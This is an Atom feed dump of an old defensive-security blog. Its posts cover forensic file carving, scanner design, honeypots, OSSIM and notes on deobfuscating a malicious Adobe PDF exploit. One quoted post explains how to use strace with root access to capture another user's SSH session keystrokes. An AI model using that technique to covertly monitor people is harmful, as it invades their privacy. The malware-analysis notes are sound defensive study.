ls&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;c1.bin  Carved_decoded_ROTXOR255_key0_step-1.exe  multi-xor-v2.pl&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-4727596950806404464?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/4727596950806404464/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=4727596950806404464' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/4727596950806404464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/4727596950806404464'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2010/10/automating-pdf-analysis.html' title='Automating PDF Analysis'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-5011308564409477297</id><published>2009-10-18T17:59:00.003-04:00</published><updated>2009-10-18T18:10:33.880-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tsk sleuthkit forensics extraction linux shell'/><title type='text'>Quick shell script to extract the contents of an image</title><content type='html'>- assuming &lt;a href="http://sleuthkit.org/"&gt;TSK&lt;/a&gt; is installed, the image "image.dd" is in the local directory, and a directory "files" exists for the extracts. Change the offset and disk type to suit. This particular image was a 1GB FAT16 USB drive image.&lt;br /&gt;&lt;br /&gt;# for i in `fls -Dr -m / -f fat -o 63 image.dd | grep -v ".Trash" | grep -v "(deleted)" | cut -f 2 -d"|"`; do mkdir files/$i; done&lt;br /&gt;&lt;br /&gt;# for i in `fls -Fr -m / -f fat -o 63 image.dd | grep -v ".Trash" | grep -v "(deleted)" | cut -d "|" -f 2,4`; do echo $i; icat -o 63 -f fat image.dd `echo $i | cut -d "|" -f 2` &gt; files/`echo $i | cut -d "|" -f 1`; done&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-5011308564409477297?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/5011308564409477297/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=5011308564409477297' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/5011308564409477297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/5011308564409477297'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2009/10/quick-shell-script-to-extract-contents.html' title='Quick shell script to extract the contents of an image'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-3828003691933469998</id><published>2009-05-04T00:24:00.007-04:00</published><updated>2009-07-09T14:12:27.042-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='discovery'/><category scheme='http://www.blogger.com/atom/ns#' term='scanner'/><category scheme='http://www.blogger.com/atom/ns#' term='process'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='anomalies'/><category scheme='http://www.blogger.com/atom/ns#' term='patch compliance'/><category scheme='http://www.blogger.com/atom/ns#' term='file'/><category scheme='http://www.blogger.com/atom/ns#' term='enterprise'/><category scheme='http://www.blogger.com/atom/ns#' term='forensic'/><category scheme='http://www.blogger.com/atom/ns#' term='identification'/><category scheme='http://www.blogger.com/atom/ns#' term='insider threat'/><title type='text'>Idea for enterprise scanning</title><content type='html'>Pseudocode for an internal scanner.  Attempts to combat environmental manipulation through self-integrity checking, but a better mechanism may be needed.&lt;br /&gt;&lt;br /&gt;Assumed this operates in a client/server model with the server offering messages to clients in a one-to-many or several-to-many relationship.  Ulitmately, the server should be able to post a request (hash list, updated files) and the clients should pull the list, self check, perform the tests, and report back. The central system should them be able to generate reports based on the results.&lt;br /&gt;&lt;br /&gt;INteresting reports might include which scanned successfully, which didn't report, any anomalies discovered.  All hashes are passed back to central, so the tool could be used for forensic anomalies, known discovery of artifacts, discovery of similar artifacts within a defined threshhold, or compliance applications (similarity or direct matching).  The insider threat model could be integrated by allowing the tracking of defined critical documents within reporting systems.&lt;br /&gt;&lt;br /&gt;Client structure follows:&lt;br /&gt;&lt;br /&gt;internal scanner&lt;br /&gt;&lt;br /&gt;pull updates and signatures. check sig, decode to mem, load hashes&lt;br /&gt;&lt;br /&gt;provide non-DOM driver to access disk filesystem - driver client bindings&lt;br /&gt;provide access to memory - Volatility&lt;br /&gt;&lt;br /&gt;check self integrity of all components, static files&lt;br /&gt;Walk VAD and dump all processes/dll injects to disk&lt;br /&gt;identify self in proc dump and validate hash vice known&lt;br /&gt;&lt;br /&gt;dump registry hives in memory&lt;br /&gt;extract registry values for known hostiles - regripper&lt;br /&gt;&lt;br /&gt;for each proc/file&lt;br /&gt;perform static hash scanning &gt;&gt; hashfile&lt;br /&gt;perform context piecewise hashing &gt;&gt; cphfile&lt;br /&gt;&lt;br /&gt;compile xml/soap response&lt;br /&gt;encrypt, sign, report back to central&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Needed tools:&lt;br /&gt;&lt;br /&gt;http://code.google.com/p/pyssdeep/&lt;br /&gt;http://www.py2exe.org/&lt;br /&gt;https://www.volatilesystems.com/default/volatility&lt;br /&gt;http://www.regripper.net/&lt;br /&gt;http://ssdeep.sourceforge.net/&lt;br /&gt;http://www.indigostar.com/perl2exe.htm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-3828003691933469998?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/3828003691933469998/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=3828003691933469998' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3828003691933469998'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3828003691933469998'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2009/05/idea-for-enterprise-scanning.html' title='Idea for enterprise scanning'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-5690325070028959287</id><published>2009-05-01T09:58:00.001-04:00</published><updated>2009-05-01T09:59:51.079-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='smtp honeypot security infrastructure script process load'/><title type='text'>Opinion on SMTP Honeypots</title><content type='html'>honeyd is an infrastructure honeypot that refers to other services. it's a little heavy.  If you are trying to emulate the Interweb on an open access point for research, it's great.  For this, you want something more focused, either a honeytrapd type of service (dangerous on your border) or a full-time script running in its own process(s) to capture and handle load.  Look at truman's (&lt;a href="http://www.secureworks.com/research/tools/truman.html" target="_blank"&gt;http://www.secureworks.com/&lt;wbr&gt;research/tools/truman.html&lt;/a&gt;) smtp script and consider reversing it's interally-focused intent to external.  Add some support scripts for housekeeping and you should be good to go.  Obviously, run in a dmz, with limited perms, on a box that is easily rebuilt and doesn't have other dependent, critical apps/processes.  VM should be fine.&lt;div&gt;&lt;span id="q_120fc891184eebaa_1" class="h4"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;On Tue, Apr 28, 2009 at 12:28 PM, private investigation &lt;span dir="ltr"&gt;&lt;&lt;span style="text-decoration: underline;"&gt;xxx&lt;/span&gt;&gt;&lt;/span&gt; wrote:&lt;br /&gt; I tried to use honeyd but seems that honeyd cannot handle much of smtp request&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-5690325070028959287?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/5690325070028959287/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=5690325070028959287' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/5690325070028959287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/5690325070028959287'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2009/05/opinion-on-smtp-honeypots.html' title='Opinion on SMTP Honeypots'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-999065546788638921</id><published>2009-05-01T09:38:00.003-04:00</published><updated>2009-05-01T09:44:29.428-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='facebook controller facebhook cookies'/><title type='text'>So You Thought You Were in Control of Your Friend List</title><content type='html'>Check this tool out!  Facebook Controller:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://my.opera.com/quakerdoomer/blog/2009/04/30/fbcontroller-facebook-controller-the-ultimate-facebook-controller-without-the-pa"&gt;http://my.opera.com/quakerdoomer/blog/2009/04/30/fbcontroller-facebook-controller-the-ultimate-facebook-controller-without-the-pa&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Nice, using social media against you to subvert authentication controls, do recon, and manipulate data.  Great POC!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-999065546788638921?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/999065546788638921/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=999065546788638921' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/999065546788638921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/999065546788638921'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2009/05/so-you-thought-you-were-in-control-of.html' title='So You Thought You Were in Control of Your Friend List'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-3894192539528286468</id><published>2009-05-01T09:36:00.001-04:00</published><updated>2009-05-01T09:37:38.904-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ssh command monitoring strace linux'/><title type='text'>SSH Command Monitoring</title><content type='html'>This was an interesting post from the secureshell list.  Thanks Richard!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hi "J",&lt;br /&gt;&lt;br /&gt;you can do that with your unix/linux onboard tools. just attach strace&lt;br /&gt;to the sshd process of the user you want to monitor:&lt;br /&gt;&lt;br /&gt;strace -s 4096 -e trace=read -p PROCESS_ID&lt;br /&gt;&lt;br /&gt;than have a look for the shell prompt (e.g.):&lt;br /&gt;&lt;br /&gt;read(10, "\33]0;USERNAME@HOSTNAME:~\7".&lt;div id=":13p" class="ii gt"&gt;&lt;wbr&gt;.., 16384) = 22&lt;br /&gt;&lt;br /&gt;now you know that the FD (file handle) is 10 for the users ssh session terminal.&lt;br /&gt;&lt;br /&gt;then you can do something like that:&lt;br /&gt;&lt;br /&gt;strace -s 4096 -e trace=read -p 10417 2&gt;&amp;amp;1 | grep -E '^read\(10,' |&lt;br /&gt;grep -oE '".+"'&lt;br /&gt;&lt;br /&gt;and you should get an output like:&lt;br /&gt;&lt;br /&gt;"uname -a"&lt;br /&gt;"\r\n"&lt;br /&gt;"Linux HOSTNAME 2.6.29.1 #1 SMP Sat Apr 18 11:22:05 CEST 2009 i686&lt;br /&gt;Intel(R) Core(TM)2 Duo CPU L7500 @ 1.60GHz GenuineIntel GNU/Linux\r\n"&lt;br /&gt;"\33]0;USERNAME@HOSTNAME:~\7"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;well, this will only work if you have root permission on the server&lt;br /&gt;running sshd.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;have fun,&lt;br /&gt;&lt;span style="color:#888888;"&gt;richard&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-3894192539528286468?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/3894192539528286468/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=3894192539528286468' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3894192539528286468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3894192539528286468'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2009/05/ssh-command-monitoring.html' title='SSH Command Monitoring'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-7592081573829520211</id><published>2009-04-18T13:11:00.000-04:00</published><updated>2009-04-18T13:20:50.380-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ossim unified threat management'/><title type='text'>Open Source Security Information Manager - OSSIM</title><content type='html'>I've been playing with OSSIM (http://www.ossim.net) for the last week.  The stand-alone installation from AlienVault was trivially easy, thanks guys!  I was able to install a main 'trusted net' stand-alone and integrate a DMZ sub-sensor in an hour.  The dashboard is pretty, with many reporting features and does a decent job of aggregating the infeed of data from the wide collection of tools it provides. &lt;br /&gt;&lt;br /&gt;But...&lt;br /&gt;&lt;br /&gt;Having put this Unified Threat Management (http://en.wikipedia.org/wiki/Unified_Threat_Management) device on the network, I find it to be the least secure thing out there.  While AlienVault did an excellent job of bringing all of these wonderful security monitoring tools together, having the production interface on the main network acting as both collector, sensor, and admin access is a bad idea.  It also uses so many products and services that it is terribly insecure itself.  Having the main sensor in the trusted network isn't too bad for this, but having one of these in the more exposed DMZ makes me wary.  OSSIM needs a lot of custom configuration to implement restricted access, split the collection interface to a promiscuous-only and have a separate admin interface.  This can be done with taps to ensure only one-way traffic occurs, but that still leaves the service open to injection if one were to expect the box to be there.  In all, the UTM sensor-with-everything idea needs to be rethought.&lt;br /&gt;&lt;br /&gt;It's been fun to play with, but ultimately I'm going to explore running with some functionalized implementations that might prove more secure.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-7592081573829520211?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/7592081573829520211/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=7592081573829520211' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7592081573829520211'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7592081573829520211'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2009/04/open-source-security-information.html' title='Open Source Security Information Manager - OSSIM'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-3304874738035068298</id><published>2009-03-03T11:06:00.004-05:00</published><updated>2009-03-03T11:23:35.279-05:00</updated><title type='text'>Suggestions for Security Training</title><content type='html'>I respond to questions from time to time about a recommend security training pipeline for SOC operators at all levels.  Here is the general recommendation I've developed.&lt;br /&gt;&lt;br /&gt;(Jr Sec Analyst) Year 1 goals&lt;br /&gt;- &lt;a href="http://certification.comptia.org/security/default.aspx"&gt;Security +&lt;/a&gt;&lt;br /&gt;- &lt;a href="http://www.giac.org/certifications/security/gcih.php"&gt;GCIH&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;(Sr Sec Analyst) Year 2 goals&lt;br /&gt;- begin &lt;a href="http://www.isc2.org/cissp/default.aspx"&gt;CISSP&lt;/a&gt; study (reading, not a bootcamp yet)&lt;br /&gt;- &lt;a href="http://www.giac.org/certifications/security/gcfa.php"&gt;GCFA&lt;/a&gt; if doing investigations&lt;br /&gt;- or &lt;a href="http://www.giac.org/certifications/security/gcia.php"&gt;GCIA&lt;/a&gt; if focused more on network management of IPS&lt;br /&gt;&lt;br /&gt;(Sec Engineer/ Sr Sec Analyst, Principal) Year 3 goals&lt;br /&gt;- &lt;a href="http://www.isc2.org/cissp/default.aspx"&gt;CISSP&lt;/a&gt; course and testing&lt;br /&gt;- &lt;a href="http://www.giac.org/certifications/security/grem.php"&gt;GREM&lt;/a&gt; if moving toward malware investigation&lt;br /&gt;- OR &lt;a href="http://www.giac.org/certifications/security/GPEN.php"&gt;GPEN&lt;/a&gt; if moving toward software assurance (recommend GCIA prereq)&lt;br /&gt;- begin local research projects and security defense-in-depth expansion through pilots&lt;br /&gt;&lt;br /&gt;(Sec Architect) Year 4 goals&lt;br /&gt;- &lt;a href="http://www.isc2.org/"&gt;CISSP/ISSEP&lt;/a&gt; certification&lt;br /&gt;- additional &lt;a href="http://www.sans.org/"&gt;SANS&lt;/a&gt; courses&lt;br /&gt;- demonstrated local research and expansion projects&lt;br /&gt;&lt;br /&gt;I choose to emphasize the &lt;a href="http://www.isc2.org/cissp/default.aspx"&gt;CISSP&lt;/a&gt; over other equivalent certifications (&lt;a href="http://www.isaca.org/"&gt;CISA&lt;/a&gt;&lt;a href="http://www.isaca.org/"&gt;/CISM&lt;/a&gt;) becuase of its better ROI in the &lt;a href="http://www.dtic.mil/whs/directives/corres/pdf/857001m.pdf"&gt;DOD8570.01M requirements&lt;/a&gt; structure.  Any employee you are going to have in government service that you plan to invest in for more than a year, you should pursue this certification to maintain compliance and competitiveness.  Not that it gets you knowledge without having equivalent experience, but it's a marker you have to have.&lt;br /&gt;&lt;br /&gt;I have also chosen to emphasize SANS training as they are considered an industry gold-standard, are vendor neutral, and teach underlying concepts in addition to applied practices.  Their courses are not a college degree or an 'academic' environment, but it is good training for directly applicable skills.&lt;br /&gt;&lt;br /&gt;I think Rob Fuller has an interesting perspective at his &lt;a href="http://www.room362.com/archives/229-offensive-security-certified-professional.html"&gt;Room362&lt;/a&gt; blog entry on security credentials.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-3304874738035068298?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/3304874738035068298/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=3304874738035068298' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3304874738035068298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3304874738035068298'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2009/03/suggestions-for-security-training.html' title='Suggestions for Security Training'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-8298335365706325255</id><published>2009-02-25T22:11:00.000-05:00</published><updated>2009-02-25T22:14:51.787-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='adobe 0-day javascript exploit adobe9 adobe7'/><title type='text'>Deobfuscating the Adobe 0-day</title><content type='html'>The folloiwng is a quick writeup of an analysis started on a PDF sample for the Adobe7/9 0-day.  The exploit starts with an overflow, then attempts to run the javascript to drop a file c:/adobe.exe and execute it.&lt;br /&gt;&lt;br /&gt;hexdump -C file.pdf &gt; HEXDUMP_file.pdf.txt&lt;br /&gt;less HEXDUMP_file.pdf.txt&lt;br /&gt;[find the javascript near the end]&lt;br /&gt;&lt;br /&gt;0x80301 - 525057  start of javascript exploit&lt;br /&gt;0x821c8 - 532936  end of javascript exploit&lt;br /&gt;=======&lt;br /&gt;7879 - difference in decimal&lt;br /&gt;&lt;br /&gt;Carve the javascript out.&lt;br /&gt;dd if=file.pdf of=file.pdf.js.carve bs=1 skip=525086 count=7849&lt;br /&gt;&lt;br /&gt;Add some stubs to cover for lack of spidermonkey functions.  Not quite there, but gives the idea.&lt;br /&gt;&lt;br /&gt;function document(){&lt;br /&gt;this.write=printit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;var document=new document();&lt;br /&gt;&lt;br /&gt;function address(){&lt;br /&gt;this.length=0;&lt;br /&gt;this.substring="";&lt;br /&gt;}&lt;br /&gt;var address=new address();&lt;br /&gt;function nop(){&lt;br /&gt;this.substring="";&lt;br /&gt;}&lt;br /&gt;var nop=new nop();&lt;br /&gt;function jmp(){&lt;br /&gt;this.length=0;&lt;br /&gt;}&lt;br /&gt;var jmp=new jmp();&lt;br /&gt;function pointers(){&lt;br /&gt;this.length=0;&lt;br /&gt;this.substring="";&lt;br /&gt;}&lt;br /&gt;var pointers=new pointers();&lt;br /&gt;function pointers1(){&lt;br /&gt;this.length=0;&lt;br /&gt;}&lt;br /&gt;var pointers1=new pointers1();&lt;br /&gt;&lt;br /&gt;Run and see if it prints the deobfuscated output.&lt;br /&gt;&lt;br /&gt;./js 1.js&lt;br /&gt;bt collectedfiles # ../scripts/js.sh 1.js&lt;br /&gt;var address = unescape(r)&lt;br /&gt;var jmp = unescape(r)&lt;br /&gt;var nop = unescape(r)&lt;br /&gt;var nop1 = unescape(r)&lt;br /&gt;var shellcode = unescape(r)&lt;br /&gt;1.js:84: TypeError: nop.substring is not a function&lt;br /&gt;&lt;br /&gt;Only a few lines before a function missing.  No luck this time, but its close.  Keep playing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-8298335365706325255?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/8298335365706325255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=8298335365706325255' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8298335365706325255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8298335365706325255'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2009/02/deobfuscating-adobe-0-day.html' title='Deobfuscating the Adobe 0-day'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-8297415603317562247</id><published>2008-07-13T19:51:00.001-04:00</published><updated>2008-07-13T19:51:10.794-04:00</updated><title type='text'>USB as a Threat Vector</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Over the past weeks I have monitored several incidences per week of clients bringing in infected USB media and hard drives.  It seems that the USB-aware malware is increasing and becoming a more common feature of Internet-delivered maladies.  This allows the malware access to infect machines laterally within an organization, as well as directly from the Internet.&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-8297415603317562247?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/8297415603317562247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=8297415603317562247' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8297415603317562247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8297415603317562247'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2008/07/usb-as-threat-vector.html' title='USB as a Threat Vector'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-7946575834020118752</id><published>2008-07-02T19:13:00.002-04:00</published><updated>2008-07-02T19:19:43.569-04:00</updated><title type='text'>Script to identify domains and IP addresses by ASN and CC</title><content type='html'>I wrote this more than a year ago and it has been tested pretty well.  Figured since &lt;a href="http://handlers.sans.org/jclausing/ip-as-geo.pl"&gt;Jim over at ISC&lt;/a&gt; has released a similar tool, it's time to publish mine.&lt;br /&gt;&lt;br /&gt;Usage:&lt;br /&gt;# cat &gt; queries.txt&lt;br /&gt;domain1&lt;br /&gt;domain2&lt;br /&gt;ip3&lt;br /&gt;domain4&lt;br /&gt;ip5&lt;br /&gt;...&lt;br /&gt;^C&lt;br /&gt;# perl finger.pl queries.txt&lt;br /&gt;&lt;br /&gt;###### finger.pl ######&lt;br /&gt;&lt;br /&gt;#This work is licensed under the Creative Commons Attribution-Share Alike 3.0 United States License. To view a copy of this license, visit http://creativecommons.org/licenses/by-sa/3.0/us/ or send a letter to Creative Commons, 171 Second Street, Suite 300, San Francisco, California, 94105, USA.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if (-e "$ARGV[0]") {&lt;br /&gt;        open (IFILE, "$ARGV[0]");&lt;br /&gt;        while (&lt;ifile&gt;) {&lt;br /&gt;                chomp;&lt;br /&gt;                undef $ipaddr; undef @whois_results; undef @resolve_results; undef $domainname; undef $a; undef @results; undef @resultr;&lt;br /&gt;                if (/^\s*$/) {&lt;br /&gt;                        next;&lt;br /&gt;                } elsif (/^\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s*$/) {&lt;br /&gt;                        $ipaddr = $_;&lt;br /&gt;                        @whois_results = &amp;amp;whois($ipaddr);&lt;br /&gt;                        foreach $a (@whois_results) {&lt;br /&gt;                                print "$a\n";&lt;br /&gt;                        }&lt;br /&gt;                } elsif (/.+?\...?$/) {&lt;br /&gt;                        $domainname = $_;&lt;br /&gt;                        @resolve_results = &amp;amp;resolve($domainname);&lt;br /&gt;                        foreach $a (@resolve_results) {&lt;br /&gt;                                print "$a\n";&lt;br /&gt;                        }&lt;br /&gt;                } elsif (/.+?\....?$/) {&lt;br /&gt;                        $domainname = $_;&lt;br /&gt;                        @resolve_results = &amp;amp;resolve($domainname);&lt;br /&gt;                        foreach $a (@resolve_results) {&lt;br /&gt;                                print "$a\n";&lt;br /&gt;                        }&lt;br /&gt;                } elsif (/.+?\.....?$/) {&lt;br /&gt;                        $domainname = $_;&lt;br /&gt;                        @resolve_results = &amp;amp;resolve($domainname);&lt;br /&gt;                        foreach $a (@resolve_results) {&lt;br /&gt;                                print "$a\n";&lt;br /&gt;                        }&lt;br /&gt;&lt;br /&gt;                } else { print "BAD INPUT LINE: $_\n"; }&lt;br /&gt;        }&lt;br /&gt;} elsif ($ARGV[0] =~ /^\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s*$/) {&lt;br /&gt;        $ipaddr = $ARGV[0];&lt;br /&gt;        @whois_results = &amp;amp;resolve($ipaddr);&lt;br /&gt;#       @whois_results = 